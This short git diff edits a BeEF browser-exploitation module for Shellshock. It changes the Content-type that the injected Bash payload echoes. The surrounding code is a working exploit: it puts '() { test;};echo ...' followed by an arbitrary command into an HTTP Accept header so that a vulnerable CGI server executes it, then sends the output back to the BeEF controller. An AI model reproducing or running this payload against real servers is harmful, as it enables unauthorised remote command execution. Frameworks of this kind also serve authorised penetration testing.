diff --git a/modules/exploits/shell_shocked/command.js b/modules/exploits/shell_shocked/command.js index 466eeca66..b2cfa6f27 100644 --- a/modules/exploits/shell_shocked/command.js +++ b/modules/exploits/shell_shocked/command.js @@ -18,7 +18,7 @@ beef.execute(function () { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response); } } - xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: application/xml\"; echo; echo; " + command); + xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command); xhr.send(null); } catch (e){